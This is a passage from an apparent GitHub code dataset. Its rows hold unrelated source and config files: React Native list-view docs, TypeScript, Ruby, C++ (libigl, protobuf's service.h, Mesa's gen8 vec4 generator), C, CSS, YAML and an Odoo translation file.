text
stringlengths 2
100k
| meta
dict |
---|---|
---
id: version-0.5-using-a-listview
title: Using List Views
original_id: using-a-listview
---
React Native provides a suite of components for presenting lists of data. Generally, you'll want to use either [FlatList](flatlist.md) or [SectionList](sectionlist.md).
The `FlatList` component displays a scrolling list of changing, but similarly structured, data. `FlatList` works well for long lists of data, where the number of items might change over time. Unlike the more generic [`ScrollView`](using-a-scrollview.md), the `FlatList` only renders elements that are currently showing on the screen, not all the elements at once.
The `FlatList` component requires two props: `data` and `renderItem`. `data` is the source of information for the list. `renderItem` takes one item from the source and returns a formatted component to render.
This example creates a basic `FlatList` of hardcoded data. Each item in the `data` props is rendered as a `Text` component. The `FlatListBasics` component then renders the `FlatList` and all `Text` components.
```SnackPlayer name=FlatList%20Basics
import React, { Component } from 'react';
import { FlatList, StyleSheet, Text, View } from 'react-native';
export default class FlatListBasics extends Component {
render() {
return (
<View style={styles.container}>
<FlatList
data={[
{key: 'Devin'},
{key: 'Dan'},
{key: 'Dominic'},
{key: 'Jackson'},
{key: 'James'},
{key: 'Joel'},
{key: 'John'},
{key: 'Jillian'},
{key: 'Jimmy'},
{key: 'Julie'},
]}
renderItem={({item}) => <Text style={styles.item}>{item.key}</Text>}
/>
</View>
);
}
}
const styles = StyleSheet.create({
container: {
flex: 1,
paddingTop: 22
},
item: {
padding: 10,
fontSize: 18,
height: 44,
},
})
```
If you want to render a set of data broken into logical sections, maybe with section headers, similar to `UITableView`s on iOS, then a [SectionList](sectionlist.md) is the way to go.
```SnackPlayer name=SectionList%20Basics
import React, { Component } from 'react';
import { SectionList, StyleSheet, Text, View } from 'react-native';
export default class SectionListBasics extends Component {
render() {
return (
<View style={styles.container}>
<SectionList
sections={[
{title: 'D', data: ['Devin', 'Dan', 'Dominic']},
{title: 'J', data: ['Jackson', 'James', 'Jillian', 'Jimmy', 'Joel', 'John', 'Julie']},
]}
renderItem={({item}) => <Text style={styles.item}>{item}</Text>}
renderSectionHeader={({section}) => <Text style={styles.sectionHeader}>{section.title}</Text>}
keyExtractor={(item, index) => index}
/>
</View>
);
}
}
const styles = StyleSheet.create({
container: {
flex: 1,
paddingTop: 22
},
sectionHeader: {
paddingTop: 2,
paddingLeft: 10,
paddingRight: 10,
paddingBottom: 2,
fontSize: 14,
fontWeight: 'bold',
backgroundColor: 'rgba(247,247,247,1.0)',
},
item: {
padding: 10,
fontSize: 18,
height: 44,
},
})
```
One of the most common uses for a list view is displaying data that you fetch from a server. To do that, you will need to [learn about networking in React Native](network.md).
|
{
"pile_set_name": "Github"
}
|
// Copyright 2018 The Cockroach Authors.
//
// Use of this software is governed by the Business Source License
// included in the file licenses/BSL.txt.
//
// As of the Change Date specified in that file, in accordance with
// the Business Source License, use of this software will be governed
// by the Apache License, Version 2.0, included in the file
// licenses/APL.txt.
export interface DataFromServer {
ExperimentalUseLogin: boolean;
LoginEnabled: boolean;
LoggedInUser: string;
Tag: string;
Version: string;
NodeID: string;
PasswordLoginEnabled: boolean;
OIDCLoginEnabled: boolean;
OIDCButtonText: string;
}
// Tell TypeScript about `window.dataFromServer`, which is set in a script
// tag in index.html, the contents of which are generated in a Go template
// server-side.
declare global {
interface Window {
dataFromServer: DataFromServer;
}
}
export function getDataFromServer(): DataFromServer {
return window.dataFromServer || {} as DataFromServer;
}
|
{
"pile_set_name": "Github"
}
|
#!/usr/bin/env ruby
APP_PATH = File.expand_path('../../config/application', __FILE__)
require_relative '../config/boot'
require 'rails/commands'
|
{
"pile_set_name": "Github"
}
|
// This file is part of libigl, a simple c++ geometry processing library.
//
// Copyright (C) 2013 Alec Jacobson <[email protected]>
//
// This Source Code Form is subject to the terms of the Mozilla Public License
// v. 2.0. If a copy of the MPL was not distributed with this file, You can
// obtain one at http://mozilla.org/MPL/2.0/.
#include "all_edges.h"
#include "oriented_facets.h"
template <typename DerivedF, typename DerivedE>
IGL_INLINE void igl::all_edges(
const Eigen::MatrixBase<DerivedF> & F,
Eigen::PlainObjectBase<DerivedE> & E)
{
return oriented_facets(F,E);
}
#ifdef IGL_STATIC_LIBRARY
// Explicit template instantiation
template void igl::all_edges<Eigen::Matrix<int, -1, -1, 0, -1, -1>, Eigen::Matrix<int, -1, -1, 0, -1, -1> >(Eigen::MatrixBase<Eigen::Matrix<int, -1, -1, 0, -1, -1> > const&, Eigen::PlainObjectBase<Eigen::Matrix<int, -1, -1, 0, -1, -1> >&);
template void igl::all_edges<Eigen::Matrix<int, -1, 3, 0, -1, 3>, Eigen::Matrix<int, -1, 2, 0, -1, 2> >(Eigen::MatrixBase<Eigen::Matrix<int, -1, 3, 0, -1, 3> > const&, Eigen::PlainObjectBase<Eigen::Matrix<int, -1, 2, 0, -1, 2> >&);
template void igl::all_edges<Eigen::Matrix<int, -1, -1, 0, -1, -1>, Eigen::Matrix<int, -1, 2, 0, -1, 2> >(Eigen::MatrixBase<Eigen::Matrix<int, -1, -1, 0, -1, -1> > const&, Eigen::PlainObjectBase<Eigen::Matrix<int, -1, 2, 0, -1, 2> >&);
template void igl::all_edges<Eigen::Matrix<int, -1, 3, 0, -1, 3>, Eigen::Matrix<int, -1, -1, 0, -1, -1> >(Eigen::MatrixBase<Eigen::Matrix<int, -1, 3, 0, -1, 3> > const&, Eigen::PlainObjectBase<Eigen::Matrix<int, -1, -1, 0, -1, -1> >&);
template void igl::all_edges<Eigen::Matrix<double, -1, -1, 0, -1, -1>, Eigen::Matrix<double, -1, 2, 0, -1, 2> >(Eigen::MatrixBase<Eigen::Matrix<double, -1, -1, 0, -1, -1> > const&, Eigen::PlainObjectBase<Eigen::Matrix<double, -1, 2, 0, -1, 2> >&);
#endif
|
{
"pile_set_name": "Github"
}
|
# Translation of Odoo Server.
# This file contains the translation of the following modules:
# * pos_reprint
#
msgid ""
msgstr ""
"Project-Id-Version: Odoo Server 13.0\n"
"Report-Msgid-Bugs-To: \n"
"POT-Creation-Date: 2019-10-07 07:11+0000\n"
"PO-Revision-Date: 2019-08-26 09:13+0000\n"
"Language-Team: Uighur (https://www.transifex.com/odoo/teams/41243/ug/)\n"
"MIME-Version: 1.0\n"
"Content-Type: text/plain; charset=UTF-8\n"
"Content-Transfer-Encoding: \n"
"Language: ug\n"
"Plural-Forms: nplurals=1; plural=0;\n"
#. module: pos_reprint
#. openerp-web
#: code:addons/pos_reprint/static/src/xml/reprint.xml:0
#, python-format
msgid "Back"
msgstr ""
#. module: pos_reprint
#. openerp-web
#: code:addons/pos_reprint/static/src/xml/reprint.xml:0
#, python-format
msgid "DUPLICATA"
msgstr ""
#. module: pos_reprint
#. openerp-web
#: code:addons/pos_reprint/static/src/js/reprint.js:0
#, python-format
msgid "Nothing to Print"
msgstr ""
#. module: pos_reprint
#. openerp-web
#: code:addons/pos_reprint/static/src/xml/reprint.xml:0
#, python-format
msgid "Reprint Receipt"
msgstr ""
#. module: pos_reprint
#. openerp-web
#: code:addons/pos_reprint/static/src/js/reprint.js:0
#, python-format
msgid "There is no previous receipt to print."
msgstr ""
|
{
"pile_set_name": "Github"
}
|
destination: _site/
url: "http://127.0.0.1:4010"
baseurl: "/3dfier-pdf"
port: 4010
output: pdf
product: 3dfier
print_title: 3dfier documentation
print_subtitle: version 1.2.2
output: pdf
defaults:
-
scope:
path: ""
type: "pages"
values:
layout: "page_print"
comments: true
search: true
pdf_sidebar: 3dfier_sidebar
|
{
"pile_set_name": "Github"
}
|
/* Amiga Period -> ST 16bit integer / 32bit Fraction convert. */
/* Dodgy 'C' code By Griff.. (Compile with GCC 2.0 or above...) */
#include <stdio.h>
#define FILENAME "FRQ32BIT.TAB"
double frac(double x);
void main()
{ FILE *out;
double per,work,freq_amiga=3579545.0,freq_st=25033.0;
unsigned long i;
void *x;
out = fopen(FILENAME,"wb");
x = (&i);
for (per = 1 ; per <= (1024+256) ; per++)
{ work = (freq_amiga/per)/freq_st; /* whole part */
i = work;
i = i << 16;
fwrite(x,2,1,out); /* output int */
i = (frac(work)*4294967296.0);
fwrite(x,4,1,out); /* output frac */
}
fclose(out);
}
double frac(double x)
{ int i;
return (x - (i=x));
}
|
{
"pile_set_name": "Github"
}
|
// Protocol Buffers - Google's data interchange format
// Copyright 2008 Google Inc. All rights reserved.
// https://developers.google.com/protocol-buffers/
//
// Redistribution and use in source and binary forms, with or without
// modification, are permitted provided that the following conditions are
// met:
//
// * Redistributions of source code must retain the above copyright
// notice, this list of conditions and the following disclaimer.
// * Redistributions in binary form must reproduce the above
// copyright notice, this list of conditions and the following disclaimer
// in the documentation and/or other materials provided with the
// distribution.
// * Neither the name of Google Inc. nor the names of its
// contributors may be used to endorse or promote products derived from
// this software without specific prior written permission.
//
// THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
// "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
// LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR
// A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT
// OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,
// SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT
// LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
// DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
// THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
// (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
// OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
// Author: [email protected] (Kenton Varda)
// Based on original Protocol Buffers design by
// Sanjay Ghemawat, Jeff Dean, and others.
//
// DEPRECATED: This module declares the abstract interfaces underlying proto2
// RPC services. These are intented to be independent of any particular RPC
// implementation, so that proto2 services can be used on top of a variety
// of implementations. Starting with version 2.3.0, RPC implementations should
// not try to build on these, but should instead provide code generator plugins
// which generate code specific to the particular RPC implementation. This way
// the generated code can be more appropriate for the implementation in use
// and can avoid unnecessary layers of indirection.
//
//
// When you use the protocol compiler to compile a service definition, it
// generates two classes: An abstract interface for the service (with
// methods matching the service definition) and a "stub" implementation.
// A stub is just a type-safe wrapper around an RpcChannel which emulates a
// local implementation of the service.
//
// For example, the service definition:
// service MyService {
// rpc Foo(MyRequest) returns(MyResponse);
// }
// will generate abstract interface "MyService" and class "MyService::Stub".
// You could implement a MyService as follows:
// class MyServiceImpl : public MyService {
// public:
// MyServiceImpl() {}
// ~MyServiceImpl() {}
//
// // implements MyService ---------------------------------------
//
// void Foo(google::protobuf::RpcController* controller,
// const MyRequest* request,
// MyResponse* response,
// Closure* done) {
// // ... read request and fill in response ...
// done->Run();
// }
// };
// You would then register an instance of MyServiceImpl with your RPC server
// implementation. (How to do that depends on the implementation.)
//
// To call a remote MyServiceImpl, first you need an RpcChannel connected to it.
// How to construct a channel depends, again, on your RPC implementation.
// Here we use a hypothetical "MyRpcChannel" as an example:
// MyRpcChannel channel("rpc:hostname:1234/myservice");
// MyRpcController controller;
// MyServiceImpl::Stub stub(&channel);
// FooRequest request;
// FooResponse response;
//
// // ... fill in request ...
//
// stub.Foo(&controller, request, &response, NewCallback(HandleResponse));
//
// On Thread-Safety:
//
// Different RPC implementations may make different guarantees about what
// threads they may run callbacks on, and what threads the application is
// allowed to use to call the RPC system. Portable software should be ready
// for callbacks to be called on any thread, but should not try to call the
// RPC system from any thread except for the ones on which it received the
// callbacks. Realistically, though, simple software will probably want to
// use a single-threaded RPC system while high-end software will want to
// use multiple threads. RPC implementations should provide multiple
// choices.
#ifndef GOOGLE_PROTOBUF_SERVICE_H__
#define GOOGLE_PROTOBUF_SERVICE_H__
#include <string>
#include <google/protobuf/stubs/common.h>
#include <google/protobuf/stubs/callback.h>
namespace google {
namespace protobuf {
// Defined in this file.
class Service;
class RpcController;
class RpcChannel;
// Defined in other files.
class Descriptor; // descriptor.h
class ServiceDescriptor; // descriptor.h
class MethodDescriptor; // descriptor.h
class Message; // message.h
// Abstract base interface for protocol-buffer-based RPC services. Services
// themselves are abstract interfaces (implemented either by servers or as
// stubs), but they subclass this base interface. The methods of this
// interface can be used to call the methods of the Service without knowing
// its exact type at compile time (analogous to Reflection).
class LIBPROTOBUF_EXPORT Service {
public:
inline Service() {}
virtual ~Service();
// When constructing a stub, you may pass STUB_OWNS_CHANNEL as the second
// parameter to the constructor to tell it to delete its RpcChannel when
// destroyed.
enum ChannelOwnership {
STUB_OWNS_CHANNEL,
STUB_DOESNT_OWN_CHANNEL
};
// Get the ServiceDescriptor describing this service and its methods.
virtual const ServiceDescriptor* GetDescriptor() = 0;
// Call a method of the service specified by MethodDescriptor. This is
// normally implemented as a simple switch() that calls the standard
// definitions of the service's methods.
//
// Preconditions:
// * method->service() == GetDescriptor()
// * request and response are of the exact same classes as the objects
// returned by GetRequestPrototype(method) and
// GetResponsePrototype(method).
// * After the call has started, the request must not be modified and the
// response must not be accessed at all until "done" is called.
// * "controller" is of the correct type for the RPC implementation being
// used by this Service. For stubs, the "correct type" depends on the
// RpcChannel which the stub is using. Server-side Service
// implementations are expected to accept whatever type of RpcController
// the server-side RPC implementation uses.
//
// Postconditions:
// * "done" will be called when the method is complete. This may be
// before CallMethod() returns or it may be at some point in the future.
// * If the RPC succeeded, "response" contains the response returned by
// the server.
// * If the RPC failed, "response"'s contents are undefined. The
// RpcController can be queried to determine if an error occurred and
// possibly to get more information about the error.
virtual void CallMethod(const MethodDescriptor* method,
RpcController* controller,
const Message* request,
Message* response,
Closure* done) = 0;
// CallMethod() requires that the request and response passed in are of a
// particular subclass of Message. GetRequestPrototype() and
// GetResponsePrototype() get the default instances of these required types.
// You can then call Message::New() on these instances to construct mutable
// objects which you can then pass to CallMethod().
//
// Example:
// const MethodDescriptor* method =
// service->GetDescriptor()->FindMethodByName("Foo");
// Message* request = stub->GetRequestPrototype (method)->New();
// Message* response = stub->GetResponsePrototype(method)->New();
// request->ParseFromString(input);
// service->CallMethod(method, *request, response, callback);
virtual const Message& GetRequestPrototype(
const MethodDescriptor* method) const = 0;
virtual const Message& GetResponsePrototype(
const MethodDescriptor* method) const = 0;
private:
GOOGLE_DISALLOW_EVIL_CONSTRUCTORS(Service);
};
// An RpcController mediates a single method call. The primary purpose of
// the controller is to provide a way to manipulate settings specific to the
// RPC implementation and to find out about RPC-level errors.
//
// The methods provided by the RpcController interface are intended to be a
// "least common denominator" set of features which we expect all
// implementations to support. Specific implementations may provide more
// advanced features (e.g. deadline propagation).
class LIBPROTOBUF_EXPORT RpcController {
public:
inline RpcController() {}
virtual ~RpcController();
// Client-side methods ---------------------------------------------
// These calls may be made from the client side only. Their results
// are undefined on the server side (may crash).
// Resets the RpcController to its initial state so that it may be reused in
// a new call. Must not be called while an RPC is in progress.
virtual void Reset() = 0;
// After a call has finished, returns true if the call failed. The possible
// reasons for failure depend on the RPC implementation. Failed() must not
// be called before a call has finished. If Failed() returns true, the
// contents of the response message are undefined.
virtual bool Failed() const = 0;
// If Failed() is true, returns a human-readable description of the error.
virtual string ErrorText() const = 0;
// Advises the RPC system that the caller desires that the RPC call be
// canceled. The RPC system may cancel it immediately, may wait awhile and
// then cancel it, or may not even cancel the call at all. If the call is
// canceled, the "done" callback will still be called and the RpcController
// will indicate that the call failed at that time.
virtual void StartCancel() = 0;
// Server-side methods ---------------------------------------------
// These calls may be made from the server side only. Their results
// are undefined on the client side (may crash).
// Causes Failed() to return true on the client side. "reason" will be
// incorporated into the message returned by ErrorText(). If you find
// you need to return machine-readable information about failures, you
// should incorporate it into your response protocol buffer and should
// NOT call SetFailed().
virtual void SetFailed(const string& reason) = 0;
// If true, indicates that the client canceled the RPC, so the server may
// as well give up on replying to it. The server should still call the
// final "done" callback.
virtual bool IsCanceled() const = 0;
// Asks that the given callback be called when the RPC is canceled. The
// callback will always be called exactly once. If the RPC completes without
// being canceled, the callback will be called after completion. If the RPC
// has already been canceled when NotifyOnCancel() is called, the callback
// will be called immediately.
//
// NotifyOnCancel() must be called no more than once per request.
virtual void NotifyOnCancel(Closure* callback) = 0;
private:
GOOGLE_DISALLOW_EVIL_CONSTRUCTORS(RpcController);
};
// Abstract interface for an RPC channel. An RpcChannel represents a
// communication line to a Service which can be used to call that Service's
// methods. The Service may be running on another machine. Normally, you
// should not call an RpcChannel directly, but instead construct a stub Service
// wrapping it. Example:
// RpcChannel* channel = new MyRpcChannel("remotehost.example.com:1234");
// MyService* service = new MyService::Stub(channel);
// service->MyMethod(request, &response, callback);
class LIBPROTOBUF_EXPORT RpcChannel {
public:
inline RpcChannel() {}
virtual ~RpcChannel();
// Call the given method of the remote service. The signature of this
// procedure looks the same as Service::CallMethod(), but the requirements
// are less strict in one important way: the request and response objects
// need not be of any specific class as long as their descriptors are
// method->input_type() and method->output_type().
virtual void CallMethod(const MethodDescriptor* method,
RpcController* controller,
const Message* request,
Message* response,
Closure* done) = 0;
private:
GOOGLE_DISALLOW_EVIL_CONSTRUCTORS(RpcChannel);
};
} // namespace protobuf
} // namespace google
#endif // GOOGLE_PROTOBUF_SERVICE_H__
|
{
"pile_set_name": "Github"
}
|
groupbox
{
background-color: white;
}
groupbox > .groupbox-body
{
-moz-appearance: none;
margin: 0;
padding: 0;
}
#view-settings-menu .toolbarbutton-menu-dropmarker
{
margin-left: -12px !important;
}
#no-tags-box
{
color: #7f7f7f;
}
#tag-controls
{
background-color: rgb(240,240,240);
border-width: 1px 0 0 0;
border-style: solid;
border-color: rgb(220,220,220);
padding: 2px 2px 2px 5px;
}
|
{
"pile_set_name": "Github"
}
|
/*
* Copyright © 2011 Intel Corporation
*
* Permission is hereby granted, free of charge, to any person obtaining a
* copy of this software and associated documentation files (the "Software"),
* to deal in the Software without restriction, including without limitation
* the rights to use, copy, modify, merge, publish, distribute, sublicense,
* and/or sell copies of the Software, and to permit persons to whom the
* Software is furnished to do so, subject to the following conditions:
*
* The above copyright notice and this permission notice (including the next
* paragraph) shall be included in all copies or substantial portions of the
* Software.
*
* THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
* IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
* FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL
* THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
* LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING
* FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS
* IN THE SOFTWARE.
*/
#include "brw_vec4.h"
extern "C" {
#include "brw_eu.h"
#include "main/macros.h"
#include "program/prog_print.h"
#include "program/prog_parameter.h"
};
namespace brw {
gen8_vec4_generator::gen8_vec4_generator(struct brw_context *brw,
struct gl_shader_program *shader_prog,
struct gl_program *prog,
struct brw_vec4_prog_data *prog_data,
void *mem_ctx,
bool debug_flag)
: gen8_generator(brw, shader_prog, prog, mem_ctx),
prog_data(prog_data),
debug_flag(debug_flag)
{
}
gen8_vec4_generator::~gen8_vec4_generator()
{
}
void
gen8_vec4_generator::mark_surface_used(unsigned surf_index)
{
assert(surf_index < BRW_MAX_SURFACES);
prog_data->base.binding_table.size_bytes =
MAX2(prog_data->base.binding_table.size_bytes, (surf_index + 1) * 4);
}
void
gen8_vec4_generator::generate_tex(vec4_instruction *ir, struct brw_reg dst)
{
int msg_type = 0;
switch (ir->opcode) {
case SHADER_OPCODE_TEX:
case SHADER_OPCODE_TXL:
if (ir->shadow_compare) {
msg_type = GEN5_SAMPLER_MESSAGE_SAMPLE_LOD_COMPARE;
} else {
msg_type = GEN5_SAMPLER_MESSAGE_SAMPLE_LOD;
}
break;
case SHADER_OPCODE_TXD:
if (ir->shadow_compare) {
msg_type = HSW_SAMPLER_MESSAGE_SAMPLE_DERIV_COMPARE;
} else {
msg_type = GEN5_SAMPLER_MESSAGE_SAMPLE_DERIVS;
}
break;
case SHADER_OPCODE_TXF:
msg_type = GEN5_SAMPLER_MESSAGE_SAMPLE_LD;
break;
case SHADER_OPCODE_TXF_CMS:
msg_type = GEN7_SAMPLER_MESSAGE_SAMPLE_LD2DMS;
break;
case SHADER_OPCODE_TXF_MCS:
msg_type = GEN7_SAMPLER_MESSAGE_SAMPLE_LD_MCS;
break;
case SHADER_OPCODE_TXS:
msg_type = GEN5_SAMPLER_MESSAGE_SAMPLE_RESINFO;
break;
case SHADER_OPCODE_TG4:
if (ir->shadow_compare) {
msg_type = GEN7_SAMPLER_MESSAGE_SAMPLE_GATHER4_C;
} else {
msg_type = GEN7_SAMPLER_MESSAGE_SAMPLE_GATHER4;
}
break;
case SHADER_OPCODE_TG4_OFFSET:
if (ir->shadow_compare) {
msg_type = GEN7_SAMPLER_MESSAGE_SAMPLE_GATHER4_PO_C;
} else {
msg_type = GEN7_SAMPLER_MESSAGE_SAMPLE_GATHER4_PO;
}
break;
default:
assert(!"should not get here: invalid VS texture opcode");
break;
}
if (ir->header_present) {
MOV_RAW(retype(brw_message_reg(ir->base_mrf), BRW_REGISTER_TYPE_UD),
retype(brw_vec8_grf(0, 0), BRW_REGISTER_TYPE_UD));
if (ir->texture_offset) {
/* Set the offset bits in DWord 2. */
default_state.access_mode = BRW_ALIGN_1;
MOV_RAW(retype(brw_vec1_reg(MRF, ir->base_mrf, 2),
BRW_REGISTER_TYPE_UD),
brw_imm_ud(ir->texture_offset));
default_state.access_mode = BRW_ALIGN_16;
}
}
uint32_t surf_index =
prog_data->base.binding_table.texture_start + ir->sampler;
gen8_instruction *inst = next_inst(BRW_OPCODE_SEND);
gen8_set_dst(brw, inst, dst);
gen8_set_src0(brw, inst, brw_message_reg(ir->base_mrf));
gen8_set_sampler_message(brw, inst,
surf_index,
ir->sampler,
msg_type,
1,
ir->mlen,
ir->header_present,
BRW_SAMPLER_SIMD_MODE_SIMD4X2);
mark_surface_used(surf_index);
}
void
gen8_vec4_generator::generate_urb_write(vec4_instruction *ir, bool vs)
{
struct brw_reg header = brw_vec8_grf(GEN7_MRF_HACK_START + ir->base_mrf, 0);
/* Copy g0. */
if (vs)
MOV_RAW(header, brw_vec8_grf(0, 0));
gen8_instruction *inst;
if (!(ir->urb_write_flags & BRW_URB_WRITE_USE_CHANNEL_MASKS)) {
/* Enable Channel Masks in the URB_WRITE_OWORD message header */
default_state.access_mode = BRW_ALIGN_1;
inst = OR(retype(brw_vec1_grf(GEN7_MRF_HACK_START + ir->base_mrf, 5),
BRW_REGISTER_TYPE_UD),
retype(brw_vec1_grf(0, 5), BRW_REGISTER_TYPE_UD),
brw_imm_ud(0xff00));
gen8_set_mask_control(inst, BRW_MASK_DISABLE);
default_state.access_mode = BRW_ALIGN_16;
}
inst = next_inst(BRW_OPCODE_SEND);
gen8_set_urb_message(brw, inst, ir->urb_write_flags, ir->mlen, 0, ir->offset,
true);
gen8_set_dst(brw, inst, brw_null_reg());
gen8_set_src0(brw, inst, header);
}
void
gen8_vec4_generator::generate_gs_set_vertex_count(struct brw_reg eot_mrf_header,
struct brw_reg src)
{
/* Move the vertex count into the second MRF for the EOT write. */
assert(eot_mrf_header.file == BRW_MESSAGE_REGISTER_FILE);
int dst_nr = GEN7_MRF_HACK_START + eot_mrf_header.nr + 1;
MOV(retype(brw_vec8_grf(dst_nr, 0), BRW_REGISTER_TYPE_UD), src);
}
void
gen8_vec4_generator::generate_gs_thread_end(vec4_instruction *ir)
{
struct brw_reg src = brw_vec8_grf(GEN7_MRF_HACK_START + ir->base_mrf, 0);
gen8_instruction *inst;
/* Enable Channel Masks in the URB_WRITE_HWORD message header */
default_state.access_mode = BRW_ALIGN_1;
inst = OR(retype(brw_vec1_grf(GEN7_MRF_HACK_START + ir->base_mrf, 5),
BRW_REGISTER_TYPE_UD),
retype(brw_vec1_grf(0, 5), BRW_REGISTER_TYPE_UD),
brw_imm_ud(0xff00)); /* could be 0x1100 but shouldn't matter */
gen8_set_mask_control(inst, BRW_MASK_DISABLE);
default_state.access_mode = BRW_ALIGN_16;
/* mlen = 2: g0 header + vertex count */
inst = next_inst(BRW_OPCODE_SEND);
gen8_set_urb_message(brw, inst, BRW_URB_WRITE_EOT, 2, 0, 0, true);
gen8_set_dst(brw, inst, brw_null_reg());
gen8_set_src0(brw, inst, src);
}
void
gen8_vec4_generator::generate_gs_set_write_offset(struct brw_reg dst,
struct brw_reg src0,
struct brw_reg src1)
{
/* From p22 of volume 4 part 2 of the Ivy Bridge PRM (2.4.3.1 Message
* Header: M0.3):
*
* Slot 0 Offset. This field, after adding to the Global Offset field
* in the message descriptor, specifies the offset (in 256-bit units)
* from the start of the URB entry, as referenced by URB Handle 0, at
* which the data will be accessed.
*
* Similar text describes DWORD M0.4, which is slot 1 offset.
*
* Therefore, we want to multiply DWORDs 0 and 4 of src0 (the x components
* of the register for geometry shader invocations 0 and 1) by the
* immediate value in src1, and store the result in DWORDs 3 and 4 of dst.
*
* We can do this with the following EU instruction:
*
* mul(2) dst.3<1>UD src0<8;2,4>UD src1 { Align1 WE_all }
*/
default_state.access_mode = BRW_ALIGN_1;
gen8_instruction *inst =
MUL(suboffset(stride(dst, 2, 2, 1), 3), stride(src0, 8, 2, 4), src1);
gen8_set_mask_control(inst, BRW_MASK_DISABLE);
default_state.access_mode = BRW_ALIGN_16;
}
void
gen8_vec4_generator::generate_gs_set_dword_2_immed(struct brw_reg dst,
struct brw_reg src)
{
assert(src.file == BRW_IMMEDIATE_VALUE);
default_state.access_mode = BRW_ALIGN_1;
gen8_instruction *inst = MOV(suboffset(vec1(dst), 2), src);
gen8_set_mask_control(inst, BRW_MASK_DISABLE);
default_state.access_mode = BRW_ALIGN_16;
}
void
gen8_vec4_generator::generate_gs_prepare_channel_masks(struct brw_reg dst)
{
/* We want to left shift just DWORD 4 (the x component belonging to the
* second geometry shader invocation) by 4 bits. So generate the
* instruction:
*
* shl(1) dst.4<1>UD dst.4<0,1,0>UD 4UD { align1 WE_all }
*/
dst = suboffset(vec1(dst), 4);
default_state.access_mode = BRW_ALIGN_1;
gen8_instruction *inst = SHL(dst, dst, brw_imm_ud(4));
gen8_set_mask_control(inst, BRW_MASK_DISABLE);
default_state.access_mode = BRW_ALIGN_16;
}
void
gen8_vec4_generator::generate_gs_set_channel_masks(struct brw_reg dst,
struct brw_reg src)
{
/* From p21 of volume 4 part 2 of the Ivy Bridge PRM (2.4.3.1 Message
* Header: M0.5):
*
* 15 Vertex 1 DATA [3] / Vertex 0 DATA[7] Channel Mask
*
* When Swizzle Control = URB_INTERLEAVED this bit controls Vertex 1
* DATA[3], when Swizzle Control = URB_NOSWIZZLE this bit controls
* Vertex 0 DATA[7]. This bit is ANDed with the corresponding
* channel enable to determine the final channel enable. For the
* URB_READ_OWORD & URB_READ_HWORD messages, when final channel
* enable is 1 it indicates that Vertex 1 DATA [3] will be included
* in the writeback message. For the URB_WRITE_OWORD &
* URB_WRITE_HWORD messages, when final channel enable is 1 it
* indicates that Vertex 1 DATA [3] will be written to the surface.
*
* 0: Vertex 1 DATA [3] / Vertex 0 DATA[7] channel not included
* 1: Vertex DATA [3] / Vertex 0 DATA[7] channel included
*
* 14 Vertex 1 DATA [2] Channel Mask
* 13 Vertex 1 DATA [1] Channel Mask
* 12 Vertex 1 DATA [0] Channel Mask
* 11 Vertex 0 DATA [3] Channel Mask
* 10 Vertex 0 DATA [2] Channel Mask
* 9 Vertex 0 DATA [1] Channel Mask
* 8 Vertex 0 DATA [0] Channel Mask
*
* (This is from a section of the PRM that is agnostic to the particular
* type of shader being executed, so "Vertex 0" and "Vertex 1" refer to
* geometry shader invocations 0 and 1, respectively). Since we have the
* enable flags for geometry shader invocation 0 in bits 3:0 of DWORD 0,
* and the enable flags for geometry shader invocation 1 in bits 7:0 of
* DWORD 4, we just need to OR them together and store the result in bits
* 15:8 of DWORD 5.
*
* It's easier to get the EU to do this if we think of the src and dst
* registers as composed of 32 bytes each; then, we want to pick up the
* contents of bytes 0 and 16 from src, OR them together, and store them in
* byte 21.
*
* We can do that by the following EU instruction:
*
* or(1) dst.21<1>UB src<0,1,0>UB src.16<0,1,0>UB { align1 WE_all }
*
* Note: this relies on the source register having zeros in (a) bits 7:4 of
* DWORD 0 and (b) bits 3:0 of DWORD 4. We can rely on (b) because the
* source register was prepared by GS_OPCODE_PREPARE_CHANNEL_MASKS (which
* shifts DWORD 4 left by 4 bits), and we can rely on (a) because prior to
* the execution of GS_OPCODE_PREPARE_CHANNEL_MASKS, DWORDs 0 and 4 need to
* contain valid channel mask values (which are in the range 0x0-0xf).
*/
dst = retype(dst, BRW_REGISTER_TYPE_UB);
src = retype(src, BRW_REGISTER_TYPE_UB);
default_state.access_mode = BRW_ALIGN_1;
gen8_instruction *inst =
OR(suboffset(vec1(dst), 21), vec1(src), suboffset(vec1(src), 16));
gen8_set_mask_control(inst, BRW_MASK_DISABLE);
default_state.access_mode = BRW_ALIGN_16;
}
void
gen8_vec4_generator::generate_oword_dual_block_offsets(struct brw_reg m1,
struct brw_reg index)
{
int second_vertex_offset = 1;
m1 = retype(m1, BRW_REGISTER_TYPE_D);
/* Set up M1 (message payload). Only the block offsets in M1.0 and
* M1.4 are used, and the rest are ignored.
*/
struct brw_reg m1_0 = suboffset(vec1(m1), 0);
struct brw_reg m1_4 = suboffset(vec1(m1), 4);
struct brw_reg index_0 = suboffset(vec1(index), 0);
struct brw_reg index_4 = suboffset(vec1(index), 4);
default_state.mask_control = BRW_MASK_DISABLE;
default_state.access_mode = BRW_ALIGN_1;
